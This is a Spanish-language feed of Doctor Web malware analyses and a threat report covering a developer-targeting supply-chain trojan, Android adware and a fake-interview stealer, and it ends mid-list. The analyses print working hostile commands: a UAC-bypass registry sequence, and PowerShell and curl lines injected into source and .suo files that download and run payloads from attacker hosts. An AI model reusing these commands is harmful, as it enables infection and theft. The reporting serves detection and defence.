Sobre los virus

Objetivo: desarrolladores. Un nuevo troyano ataca la cadena de suministro y provoca daños combinados en los equipos infectados

Fri, 10 Jul 2026 03:00:00 GMT

Los expertos del laboratorio antivirus han analizado un nuevo programa troyano. Se trata de una amenaza del tipo supply chain attack (ataque a la cadena de suministro). Su principal característica es que se dirige a proyectos desarrollados en los lenguajes de programación C++ y C#. Otra de sus particularidades es su carácter especialmente peligroso. El troyano combina varios mecanismos de ataque y desempeña simultáneamente diversas funciones: stealer, clipper, backdoor, miner y fuente de infección de archivos.

Los primeros casos de propagación del troyano se detectaron durante el último trimestre de 2025 y, desde entonces, sus desarrolladores lo han modificado de forma continua. Se propaga principalmente por Internet mediante archivos .exe y Python infectados. El proceso de infección consta de varias etapas. A continuación, analizamos cada una de ellas y su finalidad.

Etapa 1. Trojan.DownLoader49.35384

Los expertos de Doctor Web detectaron múltiples aplicaciones legítimas infectadas con una estructura similar. Al archivo ejecutable original se le añade un objeto global y la ejecución de la aplicación troyanizada comienza obteniendo acceso a las API del sistema mediante el método PEB walking. A continuación, la función estándar initterm recorre la tabla de punteros a funciones e inicializa cada una de ellas. Una de esas funciones es maliciosa y ejecuta un comando de PowerShell. En algunas versiones del troyano, esta carga útil se almacena cifrada.

Ejecución mediante initterm

El comando de PowerShell descarga y ejecuta el archivo malicioso Trojan.DownLoader49.35687, lo que da comienzo a la segunda etapa de la infección.

Comando malicioso de PowerShell

Además de los archivos ejecutables, se detectaron archivos escritos en Python (Python.Downloader.255). En ellos, el mismo código malicioso estaba cifrado mediante el mecanismo de cifrado simétrico Fernet. El código se oculta mediante una sencilla técnica de ofuscación consistente en insertar una gran cantidad de espacios en la primera línea del archivo. En este caso, la ejecución también se desarrolla en varias etapas.

Archivos maliciosos en Python

Etapa 2. Trojan.DownLoader49.35687

En esta etapa, el troyano Trojan.DownLoader49.35687 comprueba si se está ejecutando en un entorno sandbox. Además, crea un objeto de sincronización mutex con el nombre Global\PFNMX (valor fijo). Un ejemplo de este tipo de objeto es: \Sessions\1\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008. De este modo, el troyano verifica si ya existe otra copia en ejecución en el equipo.

Durante esta segunda etapa, el troyano intenta obtener las direcciones del servidor C2 a través de repositorios públicos de GitHub y de la plataforma de videojuegos Steam. En ellos, los atacantes publican los dominios que el troyano lee y utiliza como URL para descargar la tercera etapa de la infección: el troyano BackDoor.Siggen2.5906.

Las cuentas de Steam creadas por los atacantes contienen el nombre del dominio en texto plano.

Cuenta de Steam con el dominio

En GitHub, los atacantes almacenaron la dirección cifrada del dominio C2 en un archivo raw: raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine. El troyano descarga este archivo y lo descifra primero mediante Base64 y, posteriormente, aplicando una operación XOR con la clave ZwFlushKey.

Dominios cifrados

Tras descargar la siguiente etapa, Trojan.DownLoader49.35687 la inyecta en el proceso de uno de los 41 archivos ejecutables predefinidos ubicados en C:\Windows\System32.

La dirección del dominio C2 con la que se ha logrado establecer conexión se añade a las cadenas integradas de forma fija en el código del troyano y se transmite a la siguiente etapa a través del canal con nombre pipe\VccFramework.

Etapa 3. BackDoor.Siggen2.5906

En esta etapa se lleva a cabo la actividad maliciosa principal. BackDoor.Siggen2.5906 crea un objeto de sincronización mutex con un nombre fijo del tipo Global\PFNX_Side(valor fijo). A continuación, a través del canal creado previamente, el troyano recibe los datos de la segunda etapa, de los que extrae los identificadores del troyano y el dominio C2 con el que se comunicará BackDoor.Siggen2.5906.

Para consolidarse en el sistema, el troyano descarga el archivo «bungee.boo» que realiza las funciones de la etapa 2 — Trojan.DownLoader49.35687, y suplanta con el mismo los archivos DLL:

«profapi.dll» de la aplicación Discord,
«domain_actions.dll» en la carpeta «Domain Actions» y «well_known_domains.dll» en la carpeta «Well Known Domains» de la aplicación Microsoft Edge,
«C:\Windows\omadmapi.dll».

Además, BackDoor.Siggen2.5906 puede modificar el Registro de Windows para que, al abrir archivos comprimidos con WinRAR, se ejecute código malicioso.

Para ejecutar acciones con privilegios de administrador, el troyano utiliza una técnica para esquivar el UAC (Control de cuentas de usuario). El malware genera un archivo .vbs con un nombre formado por una secuencia aleatoria de cifras, en el que inserta un comando que se ejecutará con privilegios de administrador. A continuación, ejecuta los siguientes comandos mediante cmd.exe:

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft\369059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe

A continuación, el troyano pone en funcionamiento cinco funciones maliciosas: un stealer, un clipper, un backdoor, un miner y un módulo de infección de archivos.

Stealer

El troyano puede robar información de varios tipos:

tockens Discord que permiten iniciar sesión en cuentas ajenas sin introducir un nombre de usuario/contraseña;
contraseñas y cookies de navegadores Chrome, Edge, Opera, Brave, Yandex etc. Además de las técnicas ordinarias de extracción de datos, puede usar el archivo CCCWF.tmp (Trojan.PWS.Siggen5.33623). El mismo se incrusta en el navegador y luego lee las contraseñas y las guarda en archivos de texto;
carpetas de Telegram Desktop;
carpetas del criptomonedero Exodus.

Además de robar las carpetas de Exodus, el troyano modifica el monedero de criptomonedas. Para ello, localiza el archivo app.asar y lo suplanta por una copia descargada desde la URL balista[.]lol/Stb/PokerFace/RTApp[.]txt mediante curl. En la versión suplantada el archivo index.js (Trojan.Siggen32.44702) contiene la función unlock() que, al ejecutarse, envía las frases mnemotécnicas del monedero al servidor de los atacantes.

Archivo suplantado index.js

Clipper

Se trata de una de las funciones más peligrosas del troyano. El malware supervisa de forma continua el portapapeles del usuario: busca datos de tarjetas bancarias y los envía al servidor de los atacantes. Además, sustituye las direcciones de los monederos de criptomonedas por otras fraudulentas, que obtiene del servidor C2.

Backdoor

La funcionalidad del troyano permite a los atacantes controlar de forma remota el equipo infectado mediante la ejecución de los siguientes comandos:

exc	descargar un archivo de url mediante curl y ejecutarlo
RVRS	iniciar Reverse Proxy
RUNCMD	Ejecutar un comando mediante cmd
GETFILE	Cargar el contenido de un archivo determinado al servidor de control
LISTDIR	Enviar una lista de archivos desde un directorio específico del equipo al servidor de control
TROLL	ejecutar un comando destinado a trolear al usuario. Entre las opciones disponibles se incluyen earrape, scary_sound, rickroll, mute_audio, jumpscare_screamer etc.

Miner

Mediante curl el troyano descarga desde el servidor y ejecuta el archivo https://files[.]catbox[.]moe/lvh9j3[.]bin — Trojan.Packed2.50953. Su estructura y funcionamiento son similares a los de la segunda etapa, con la diferencia de que, en lugar de descargar e inyectar BackDoor.Siggen2.5906 descarga e inyecta Trojan.BtcMine.3956. Este miner solo se ejecuta tras un determinado periodo de inactividad del usuario. El malware utiliza las herramientas de código fuente abierto XMRig, T-Rex y TeamRedMiner.

Infección de archivos

La principal característica de este troyano es la infección de archivos y su posterior propagación autónoma. Lista de archivos infectados:

imgui_impl_win32.cpp,
.suo,
.exe,
winnetwk.h (Windows SDK),
.vcxproj y .csproj.

Para identificar las rutas de los archivos que pueden infectarse, el troyano recorre las unidades de disco y ejecuta el siguiente comando. A continuación, se muestra un ejemplo para la unidad A://

dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.

Los atacantes confían en que los desarrolladores publiquen sus proyectos con código malicioso en repositorios públicos. De este modo, otros desarrolladores que compilen, generen o modifiquen esos proyectos infectarán automáticamente sus equipos a través de los archivos .suo, .vcxproj y .csproj, mientras que los usuarios finales podrán ejecutar archivos ejecutables infectados generados con herramientas de desarrollo comprometidas.

Archivo imgui_impl_win32.cpp. Trojan.Loader.3129

El archivo imgui_impl_win32.cpp — forma parte de la biblioteca conocida Dear ImGui y se encarga de la interfaz gráfica de usuario para aplicaciones desarrolladas en C++. El troyano inserta dos líneas de código en este archivo: la primera contiene la carga útil y la segunda la ejecuta.

Una línea de código con carga útil

Una idea de código que ejecuta la carga útil

Resultado — un comando


start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }"

De este modo, la biblioteca queda infectada y cualquier aplicación en C++ creada por el usuario contendrá código malicioso. Al propagar o subir este tipo de aplicaciones, la infección continuará propagándose.

Archivos .suo. Trojan.Loader.3138

Se trata de archivos utilizados por el entorno de desarrollo Microsoft Visual Studio, en los que se almacena la configuración del usuario para determinados proyectos. El troyano sustituye el archivo original por una versión infectada descargada desde el servidor C2.

Un archivo infectado

Como resultado, al abrir un proyecto en Visual Studio se ejecuta el código malicioso:


javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\\ProgramData\\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\\ProgramData\\S47LY.exe\"', 0, false);close();

Archivos winnetwk.h. Trojan.Loader.3184

Windows SDK es el kit oficial de desarrollo de software (SDK) de Microsoft, que permite crear aplicaciones para el sistema operativo Windows.

El troyano consulta el Registro de Windows para localizar la carpeta donde está instalado Windows SDK. A continuación, busca el archivo winnetwk.h, responsable de la administración de los recursos de red, e inserta en él código malicioso.

Archivo infectado winnetwk.h

A partir de ese momento, todos los programas creados utilizando winnetwk.h incorporarán código malicioso que ejecutará la segunda etapa.

Archivos .exe

El troyano busca archivos .exe adecuados e inserta en ellos las funciones de inicialización de las API y de ejecución de initterm. A continuación, el archivo empieza a funcionar como Trojan.DownLoader49.35384, es decir, como la etapa 1.

Archivos .vcxproj (Trojan.Loader.3128, Trojan.Loader.3127) y .csproj (Trojan.Loader.3126)

Se trata de archivos de proyecto de Visual Studio para los lenguajes de programación C++ y C#. El troyano añade a estos archivos un comando PreBuildEvent, que se ejecuta antes de cada compilación del proyecto. Las primeras versiones del troyano incorporaban un código similar al de etapa 1.

Versión inicial del código

En las versiones más recientes, el código es más complejo e incorpora mecanismos adicionales de ofuscación.

Nueva versión del código

Una etapa de ejecución de Trojan.Loader.3128

Como resultado de la ejecución del comando malicioso, se crea un archivo .vbs malicioso que, a su vez, ejecuta la carga útil de PowerShell. A continuación, el troyano envía solicitudes a las siguientes direcciones URL:

youtu.be/akoxddx6lgc,
steamcommunity.com/profiles/76561198737324192.

En estas direcciones se almacena otra dirección URL cifrada mediante base64.

Una cuenta de YouTube con una dirección URL cifrada

Tras descifrarla, el troyano obtiene el dominio C2 al que se conecta para descargar una carga útil similar a la de la segunda etapa.

El análisis del funcionamiento del troyano permite concluir que se trata de una amenaza especialmente peligrosa, ya que combina múltiples funciones maliciosas. Para evitar la infección del equipo y frenar la propagación del troyano, recomendamos mantener las bases de datos del antivirus siempre actualizadas y analizar todos los archivos descargados de Internet. Los usuarios de Dr.Web Security Space y Dr.Web Desktop Security Suite pueden estar tranquilos, ya que los antivirus Dr.Web detectan y eliminan el troyano de forma segura. Asimismo, los archivos de tipo .vcxproj, .csproj e imgui se desinfectan, eliminándose de ellos el código malicioso.

El troyano Android.MagicAd muestra publicidad saltándose todas las restricciones

Fri, 05 Jun 2026 01:00:00 GMT

Los expertos del laboratorio antivirus de Doctor Web han detectado el programa troyano Android.MagicAd, que utiliza varios métodos para esquivar las restricciones del sistema operativo Android y mostrar publicidad mientras se ejecuta en segundo plano. Uno de estos métodos es universal, mientras que otros están diseñados para dispositivos de determinados fabricantes. Entre ellos se encuentran la explotación de aplicaciones de terceros, así como el uso del reproductor multimedia del sistema.

Android.MagicAd.1 se propagaba a través del catálogo oficial de aplicaciones GetApps para dispositivos Xiaomi y permanecía oculto en más de 50 juegos y programas diferentes. Estas aplicaciones aparecían en la tienda durante un breve periodo de tiempo — por lo general, menos de un mes — y después desaparecían, siendo sustituidas por otras nuevas. Es posible que, de este modo, los ciberdelincuentes intentaran proteger Android.MagicAd.1 de a una detección prematura, manteniendo al mismo tiempo su actividad: tras ser eliminados de la tienda, los programas troyanos continúan instalados en los dispositivos de los usuarios y pueden seguir llevando a cabo actividades maliciosas. Actualmente, ninguna de las aplicaciones identificadas por nosotros con Android.MagicAd.1 está disponible para su descarga en el catálogo GetApps, y los desarrolladores que las distribuían han dejado de publicar nuevas aplicaciones con este troyano.

La investigación realizada por los analistas de virus de Doctor Web ha demostrado que las primeras versiones de Android.MagicAd.1 aparecieron en 2025 y, además del catálogo GetApps, también se detectaron en Samsung Galaxy Store.

Unos ejemplos de juegos y aplicaciones del catálogo GetApps en los que se ocultaba Android.MagicAd.1. En el momento de la publicación de esta noticia, estas y otras variantes del troyano ya no estaban disponibles para su descarga

Una parte de las funciones maliciosas de Android.MagicAd.1 está en módulos dex ocultos dentro de bibliotecas nativas cifradas ubicadas en el directorio de recursos del troyano. Durante su ejecución, este descifra dichas bibliotecas, extrae de ellas sus componentes y los pone en funcionamiento.

Antes de comenzar a mostrar publicidad, el troyano realiza una serie de comprobaciones para asegurarse de que su entorno es seguro. Por ejemplo, busca indicios de ejecución en un entorno virtual, verifica si su instalación se ha producido de forma orgánica, comprueba que la dirección IP del dispositivo infectado no figure en su lista negra, etc.

Si Android.MagicAd.1 no detecta actividad sospechosa, oculta su icono de la lista de aplicaciones del menú principal. A continuación, crea un canal de notificaciones a través del cual inicia varios servicios maliciosos persistentes necesarios para funcionar en segundo plano cuando la ventana de la aplicación maliciosa está cerrada. Después, mediante el programador de tareas, Android.MagicAd.1 crea una tarea que reinicia periódicamente los servicios encargados de supervisar el funcionamiento del canal de notificaciones y, si es necesario, volver a activarlo. Además, en dispositivos con versiones relativamente antiguas del sistema operativo Android, el troyano activa una pantalla virtual para evitar que el sistema interrumpa el funcionamiento de uno de sus componentes.

Para mostrar publicidad en segundo plano cuando su ventana está cerrada, Android.MagicAd.1 utiliza varias técnicas, seleccionadas en función del fabricante del dispositivo infectado. Estas se implementan sin solicitar explícitamente el permiso del sistema SYSTEM_ALERT_WINDOW que permite a una aplicación mostrarse por encima de otros programas.

Independientemente del método utilizado, todos los banners publicitarios se cargan en forma de actividades semitransparentes (Translucent Activity), lo que permite al troyano mostrarlos por encima de las ventanas existentes.

Unos ejemplos de la publicidad mostrada por Android.MagicAd.1

Una de las técnicas se implementa mediante intenciones (Intent) dirigidas a otras aplicaciones. Esto permite al troyano esquivar las restricciones de las versiones modernas de Android, que impiden que las aplicaciones se inicien a sí mismas. Dependiendo del modelo del dispositivo infectado, mediante esta técnica Android.MagicAd.1 muestra directamente los anuncios o bien «obliga» a las aplicaciones objetivo a mostrar banners publicitarios.

En una de las variantes de este método, los objetivos del troyano son:

el navegador Mi Browser en dispositivos Xiaomi;
un entorno gráfico Miui SystemUI en dispositivos Xiaomi;
el lanzador Amazon Fire TV Home Screen en dispositivos Amazon TV.

Todas ellas son aplicaciones del sistema en los dispositivos correspondientes, por lo que pueden procesar intenciones incluso cuando no han sido iniciadas directamente por el usuario. Mientras estas aplicaciones permanezcan activas y puedan recibir intenciones, Android.MagicAd.1 puede utilizarlas para mostrar anuncios.

Cabe destacar que, si Mi Browser está instalado en un dispositivo Xiaomi como aplicación no perteneciente al sistema, el troyano también puede utilizar este navegador para mostrar publicidad, siempre que su ventana permanezca abierta.

Cuando Android.MagicAd.1 detecta Mi Browser en un dispositivo compatible, envía a su componente DEX (detectado por Dr.Web como Android.MagicAd.1.origin) una intención diferida para iniciar la publicidad. Este componente genera su propia intención a partir de ella y la transmite al navegador, que extrae la intención original y, de acuerdo con la misma, muestra la publicidad.

La interacción con los otros dos programas es algo diferente, ya que se utilizan para activar el troyano desde el modo de ejecución en segundo plano. En primer lugar, Android.MagicAd.1 envía al módulo Android.MagicAd.1.origin una intención diferida para iniciar la publicidad, y este transmite a las aplicaciones objetivo una intención propia para activarse. Si se trata de Miui SystemUI, esta responde enviando su propia intención para iniciar el módulo. Si, por el contrario, la aplicación objetivo es Amazon Fire TV Home Screen, inicia el módulo directamente mediante el nombre de su paquete. Una vez que obtiene el control, el módulo Android.MagicAd.1.origin muestra la publicidad que recibió en la intención diferida enviada por la aplicación maliciosa principal.

Si el troyano no consigue mostrar la publicidad, intenta utilizar este método dos veces más. En caso de que siga sin éxito, trata de mostrar los anuncios directamente, sin recurrir ya a las intenciones diferidas ni a su módulo dex malicioso.

Otra variante de este método es similar a la anterior y se utiliza para usar aplicaciones en dispositivos Vivo. La diferencia radica en que la publicidad se inicia mediante Android Binder, un componente del sistema que permite la comunicación entre procesos. En este caso, el troyano tiene como objetivo las siguientes aplicaciones del sistema:

iManager,
Contactos,
Vivo Browser,
Baidu IME Customized.

Android.MagicAd.1 las inicia a través de Android Binder, enviándole intenciones convencionales mediante el contenedor de datos Parcel. Estas aplicaciones posteriormente activan el componente troyano Android.MagicAd.1.origin que, tras salir del modo de ejecución en segundo plano, muestra la publicidad.

Android.MagicAd.1 también incorpora varias técnicas adicionales para mostrar publicidad mientras se ejecuta en segundo plano, entre ellas el uso del reproductor multimedia. A diferencia de los métodos dirigidos a dispositivos específicos, esta técnica es universal y funciona en la mayoría de los modelos de distintos fabricantes. Android.MagicAd.1 descifra un archivo de audio oculto en su código y lo guarda en su directorio de trabajo. A continuación, el malware inicia una instancia propia del reproductor multimedia del sistema, configura el volumen al mínimo y la vincula al sistema global de control multimedia de Android.

Posteriormente, para mostrar la publicidad, Android.MagicAd.1 instala un receptor de difusión que monitoriza las pulsaciones realizadas en dicho reproductor. Después, mediante un comando especial de ADB, el troyano simula acciones del usuario pulsando el botón de grabación del reproductor y cerrando inmediatamente su ventana. Al pulsar este botón, se activa el receptor multimedia del sistema, lo que permite a Android.MagicAd.1 tomar el control y mostrar la publicidad.

Dr.Web Security Space para dispositivos móviles detecta y elimina de forma segura todas las versiones conocidas del malware Android.MagicAd.1, por lo que nuestros usuarios están protegidos de esta amenaza.

Indicadores de compromiso

Más información sobre Android.MagicAd.1

Más información sobre Android.MagicAd.1.origin

En vez de trabajo: datos y dinero robados. En aplicaciones falsas para entrevistas online se oculta un troyano ladrón que ataca a usuarios de macOS y Windows

Wed, 27 May 2026 02:00:00 GMT

Los expertos de Doctor Web advierten sobre la propagación del troyano JobStealer, que roba información confidencial de usuarios de ordenadores con macOS y Windows. Su principal objetivo es el robo de datos de monederos de criptomonedas. Bajo el pretexto de realizar entrevistas online, los estafadores atraen a posibles víctimas a sitios web maliciosos donde les ofrecen instalar una aplicación de videoconferencia. En realidad, ese software es el propio troyano JobStealer.

El ataque comienza cuando los delincuentes contactan con posibles víctimas y les ofrecen una determinada vacante. Invitan a los usuarios a realizar una entrevista y les proporcionan enlaces a sitios web de supuestas «plataformas» para reuniones online, supuestamente para conectarse a una videoconferencia. Estos sitios parecen profesionales, pero en realidad son fraudulentos. Desde ellos se descarga el malware JobStealer bajo la apariencia de un programa para conferencias online. Además, los ciberdelincuentes utilizan varios diseños para estos recursos web y cambian también el nombre del propio programa. Nuestros expertos han encontrado variantes con nombres como MeetLab, Juseo, Meetix, Carolla y otros. En algunos casos, los ciberdelincuentes utilizan nombres de servicios reales, como Webex.

Unos ejemplos de sitios web de falsos servicios de conferencias online desde los que se descarga JobStealer

Para que los usuarios crean que las plataformas funcionan realmente, los estafadores crean canales correspondientes en Telegram y cuentas en redes sociales, por ejemplo en X.

Para hacer pasar el troyano por software legítimo, los delincuentes imitan actividad en las redes sociales

Para instalar el programa en dispositivos con macOS, a los visitantes de los sitios maliciosos se les ofrecen dos opciones:

copiar y ejecutar en el terminal el comando bash indicado en el sitio web;
descargar un archivo de imagen de disco en formato .dmg y ejecutarlo.

El troyano JobStealer se descarga desde sitios maliciosos tanto en forma de contenedor dmg como mediante la ejecución de un comando bash en el terminal

En el primer caso, al ejecutar el comando en el terminal, se descarga automáticamente de Internet y se ejecuta un script que descarga y lanza el archivo ejecutable de JobStealer (detectado como Mac.PWS.JobStealer.1).

En el segundo caso, la imagen dmg ofrecida para descarga ya contiene los archivos mencionados anteriormente. Al montarla, muestra instrucciones para la «instalación» de la aplicación. En ellas se indica que el usuario debe abrir el terminal y arrastrar al mismo la secuencia de comandos incluida. En realidad, en vez de instalar el software de videoconferencia, el script ejecutará el archivo troyano.

Una imagen con instrucciones que se muestra al abrir el archivo de imagen con el troyano JobStealer

Mac.PWS.JobStealer.1 es un archivo ejecutable contenedor en formato Fat Mach-O y contiene código binario para varias arquitecturas de procesador a la vez: x64 y arm64. En función de la plataforma del ordenador infectado, al ejecutar el troyano se utiliza automáticamente el componente correspondiente al procesador de destino.

Cabe señalar que existen varias versiones de Mac.PWS.JobStealer.1. Las variantes más antiguas del malware no eran compatibles con ordenadores Mac con arquitectura arm64. Además, carecían de ofuscación, que los creadores del malware comenzaron a añadir y reforzar conforme actualizaban el stealer.

Tras ejecutarse, Mac.PWS.JobStealer.1 muestra una ventana de phishing en la que informa de un supuesto error de funcionamiento. Para «solucionarlo», el malware solicita al usuario que introduzca la contraseña de su cuenta.

Una ventana de phishing en la que se solicita la contraseña de la cuenta del usuario de Mac

Posteriormente Mac.PWS.JobStealer.1 recaba los datos siguientes:

versión del sistema operativo y el identificador del ordenador;
datos de unas 300 extensiones de navegador de monederos de criptomonedas instaladas en los navegadores objetivo basados en Chromium (Chrome, Opera, Brave, OperaGX, Vivaldi, Edge, Arc, CocCoc);
archivos cookie de estos navegadores;
contraseñas y datos de tarjetas bancarias guardados en las listas de autocompletado del navegador;
archivos del messenger Telegram de los directorios /Library/Application Support/Telegram Desktop/tdata y /Documents/temp_data/Apps/Telegram donde se almacenan claves de sesión de autorización, archivos descargados, etc.;
notas del usuario de la aplicación Notes nativa de macOS;
presencia en el sistema de las aplicaciones de monederos de criptomonedas Ledger Live y Trezor Suite.

Estos datos se almacenan en un archivo ZIP y se cargan en el servidor C2.

Los creadores de virus también han preparado una versión del troyano JobStealer para ordenadores con sistema operativo Windows. Su funcionalidad es similar a la de la versión para macOS. Además, en algunos sitios maliciosos que distribuyen el stealer existen secciones para descargar la aplicación para otros sistemas operativos populares. Sin embargo, por el momento nuestros analistas de virus no han detectado su distribución. Por ejemplo, el botón de descarga para Linux está inactivo o redirige a la versión del troyano para Windows. Y en las secciones de descarga para dispositivos con iOS y Android se indica que esas versiones están en desarrollo. No obstante, no se puede descartar que en el futuro los atacantes comiencen a distribuir variantes del troyano también para estas plataformas.

Los sitios web maliciosos podrían distribuir potencialmente versiones del troyano JobStealer para Linux, iOS y Android

Todas las modificaciones conocidas del malware JobStealer son detectadas y eliminadas de forma fiable por los productos antivirus Dr.Web Security Space para macOS y Windows, y no son de amenaza para nuestros usuarios. Los sitios fraudulentos que distribuyen el troyano han sido añadidos a la base de recursos no recomendados y peligrosos, y también son bloqueados por Dr.Web.

MITRE ATT&CK®

Hemos analizado el malware JobStealer utilizando el framework MITRE ATT&CK®, que consiste en una matriz con descripciones de las tácticas y técnicas empleadas por los ciberdelincuentes para atacar sistemas de información. Como resultado, se identificaron las siguientes técnicas clave:

Etapa	Técnica
Ejecución	Ejecución con intervención del usuario (T1204) Copiado y pegado malicioso (T1204.004) Archivo malicioso (T1204.002)
Detección	Detección de archivos y directorios (T1083)
Recopilación de datos	Recopilación automatizada (T1119) Datos del sistema local (T1005) Credenciales de almacenes de contraseñas (T1555) Credenciales del llavero (T1555.001) Credenciales de navegadores (T1555.003) Captura de entradas del usuario (T1056) Captura de entradas en la interfaz gráfica de usuario (T1056.002) Archivado de los datos recopilados (T1560)
Mando y control	Servicio web (T1102)
Exfiltración de datos	Exfiltración automatizada (T1020) Exfiltración a través del canal de mando y control (T1041) Exfiltración mediante servicio web (T1567)

Más información sobre Mac.PWS.JobStealer.1

Indicadores de compromiso

Doctor Web: informe de la actividad de virus en el III trimestre de 2025

Wed, 01 Oct 2025 05:00:00 GMT

1 de octubre de 2025

Según las estadísticas de detecciones del antivirus Dr.Web, en el III trimestre del año 2025 el número total de amenazas detectadas bajó un 4,23% comparado con el II trimestre. Así mismo, el número de amenazas únicas subió un 2,17%. Con mayor frecuencia en los dispositivos protegidos se detectaba adware no deseado, troyanos de publicidad y scripts maliciosos. En el tráfico de correo prevalecían los scripts maliciosos, backdoors y varios programas troyanos, tales como descargadores, droppers y robapasswords.

Los usuarios cuyos archivos fueron afectados por los troyanos cifradores con mayor frecuencia afrontaban los encoders Trojan.Encoder.35534, Trojan.Encoder.35209, así como Trojan.Encoder.35067.

En julio los expertos de la empresa Doctor Web informaron sobre la familia de troyanos Trojan.Scavenger creados para robar la criptomoneda y las contraseñas. Los malintencionados los difundieron camuflados por mods, cheats y parches para juegos. Estos troyanos se iniciaban usando las aplicaciones legales, así mismo, al usar las vulnerabilidades de la clase DLL Search Order Hijacking.

En agosto nuestro analistas de virus advirtieron sobre la difusión del backdoor multifuncional Android.Backdoor.916.origin para dispositivos móviles destinado para los representantes de los negocios rusos. Los ciberdelincuentes lo administraban a distancia, al robar los datos privados con el mismo y al supervisar las víctimas.

En el mismo mes, el laboratorio antivirus de Doctor Web publicó una investigación obre un ataque objetivo del grupo Scaly Wolf a una empresa rusa de ingeniería mecánica. Los malintencionados usaron una serie de herramientas maliciosas entre las cuales una de las básicas fue un backdoor modular Updatar. Con el mismo, los atacantes intentaban recibir los datos privados de los equipos infectados.

En el III trimestre los analistas de Internet detectaron más sitios web falsificados del Messenger Telegram, así como algunos recursos fraudulentos de temática financiera. Además, durante los últimos tres meses nuestros expertos detectaron la aparición de decenas de malware y aplicaciones no deseadas en el catálogo Google Play, entre los cuales había troyanos Android.Joker que suscribían a los usuarios a servicios de pago, y programas falsificados Android.FakeApp.

Tendencias clave del III trimestre

Reducción del número de amenazas detectadas en dispositivos protegidos
Crecimiento del número de amenazas únicas que atacaron a usuarios
Aparición de los nuevos sitios web falsificados del messenger Telegram y recursos fraudulentos en Internet de temática financiera
Difusión de malware Trojan.Scavenger que robaba la criptomoneda y las contraseñas
Uso del backdoor Android.Backdoor.916.origin para supervisar a los representantes del negocio ruso y robar los datos privados
Los troyanos de publicidad Android.MobiDash se convirtieron en la amenaza más popular para dispositivos en Android
Reducción de la actividad de troyanos de publicidad Android.HiddenAds durante el segundo semestre consecutivo
Propagación de múltiples amenazas en el catálogo Google Play

Según los datos del servicio de estadísticas Doctor Web

Las amenazas más populares del III trimestre del año 2025:

VBS.KeySender.7: Un script malicioso que en un ciclo infinito busca ventanas con texto mode extensions, разработчика y розробника y les envía un evento de pulsar el botón Escape, al cerrarlas de forma forzosa.
Adware.Downware.20091: Adware qye sirve de instalador intermediario de software pirata.
Trojan.Siggen31.34463: Un troyano creado en lenguaje de programación Go que sirve para cargar varios miners y adware en el sistema objetivo. El malware es un archivo DLL ubicado en %appdata%\utorrent\lib.dll. Par su propio inicio usa la vulnerabilidad de la clase DLL Search Order Hijacking en el cliente torrent uTorrent.
Adware.Ubar.20: Un cliente Torrent que instala software no deseado en el dispositivo.
JS.Siggen5.44590: Un código malicioso añadido a la biblioteca pública de JavaScript, es5-ext-main. Visualiza un mensaje determinado si el paquete está instalado en un servidor con el huso horario de ciudades rusas.

Estadísticas de malware en el tráfico de correo

W97M.DownLoader.2938: Una familia de troyanos descargadores que usan las vulnerabilidades de los documentos Microsoft Office. Sirven para descargar otro malware al equipo atacado.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Exploits para usar vulnerabilidades en el software Microsoft Office que permiten ejecutar un código aleatorio.
JS.Phishing.745: Script malicioso en lenguaje JavaScript que genera una página web phishing.
JS.Muldrop.371: Un script malicioso en lenguaje JavaScript que instala la carga útil en el sistema.

Cifradores

En el III trimestre del año 2025 el número de solicitudes para descifrar los archivos afectados por los troyanos cifradores subió un 3,02% comparado con el II trimestre.

Dinámica de recepción de solicitudes para descifrar al servicio de soporte técnico de Doctor Web:

Los encoders más populares del III trimestre del año 2025:

Trojan.Encoder.35534 — 26.99% solicitudes de usuarios
Trojan.Encoder.35209 — 3.07% solicitudes de usuarios
Trojan.Encoder.35067 — 2.76% solicitudes de usuarios
Trojan.Encoder.41542 — 2.15% solicitudes de usuarios
Trojan.Encoder.29750 — 1.84% solicitudes de usuarios

Estafas en la red

En el III trimestre del año 2025 los analistas de Internet de Doctor Web continuaron registrando la aparición de los sitios web falsificados del messenger Telegram — así mismo, de los usados por los malintencionados para acceder a las cuentas de usuarios:

Además, otra vez se propagaron los sitios web fraudulentos de temática financiera. Uno de ellos atraía a los usuarios a una “plataforma de inversión del futuro” llamada Apple Trade AI, supuestamente creada por la corporación Apple. Los ciberdelincuentes prometían a las posibles víctimas la posibilidad de ganar más de 4000 USD al mes, y para obtener “acceso” al servicio exigían registrarse y proporcionar la información personal.

Otros recursos en línea ofrecían participar en “una nueva plataforma de inversión de Meta” y “crear una fuente de ingresos permanente a partir de 4000 USD al mes”. Para obtener acceso a la “plataforma”, los visitantes de estos sitios tenían que completar una encuesta y registrarse.

Nuestros expertos también han identificado nuevas versiones de plataformas de inversión falsas, que supuestamente permiten ganar dinero mediante bots de trading en WhatsApp.

Para «trabajar» con los servicios prometidos, se les solicitaban los datos personales a las víctimas potenciales:

Una serie de sitios fraudulentos estaba dirigida a audiencias de países específicos. Algunos de ellos se enfocaban en usuarios de la CEI, a quienes los estafadores ofrecían “abrir un mercado de inversiones cerrado” y acceder a supuestas inversiones exclusivas a través del servicio financiero INSIDER X. Para ello, los visitantes debían “enviar una solicitud” al proporcionar sus datos personales.

En uno de los esquemas dirigidos a usuarios rusos, los estafadores ofrecían completar una encuesta para obtener acceso a una “plataforma de inversión” supuestamente vinculada a grandes compañías de petróleo y gas, así como al portal estatal de servicios públicos:

